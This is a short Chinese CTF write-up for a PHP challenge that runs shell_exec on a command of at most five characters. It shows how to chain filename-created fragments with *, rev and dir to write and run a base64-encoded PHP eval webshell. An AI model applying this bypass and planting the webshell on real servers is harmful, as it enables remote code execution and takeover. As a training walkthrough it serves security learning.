王鼎杯 RCE命令執行 五字節限制
源碼:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
echo shell_exec($_GET['cmd']);
}
?>
对cmd限制长度五字节
起初是想通过变量来绕过五字节 但好像不起作用
于是尝试使用 常规做法通过文件名的叠加来构造payload:
首先要缩小 ls -t的长度 在linux中 重定向符号可以直接创建文件:
我们使用如下方法:
>-t
>ls
root@forg:/var/www/html/test# ls
ls -t
#使用*触发命令 按顺序触发 默认顺序是数字字母符号的顺序
此时还不能够将ls -t的长度缩短 需要将命令写入到一个新的文件中 方便执行
但是由于 '>f'参数永远会处于ls的第一个 文件 导致顺序不正确
需要使用 rev命令做一个倒置
再使用dir将结果输出到一个文件中
d下来是f所以文件名取为f
综合下来:
>sl
>ht-
>f\>
>dir
# 此时*触发:
root@forg:/var/www/html/test# *
f> ht- sl
# 对结果进行重定向 写到一个新的文件中: 等下需要匹配*v所以目标文件名一定与rev的结末字符一致
*>v
# 创建rev对文件内容进行倒置
root@forg:/var/www/html/test# >rev
最后将内容写入到新的文件中a中 最后运行a文件
sh a
最后f文件内存应该存放的是一句话木马 接下来的操作较为简单 与七字符绕过基本一致
将payload base64编码
PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+
通过base64解码
整体命令为:echo PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+ | base64 -d
将字符按照总后向前的顺序依次写入
>\-d
>4\
>se6
>ba
...........
>PD9
sh a 将命令写入到f中
最后
f 中存放着一句话木马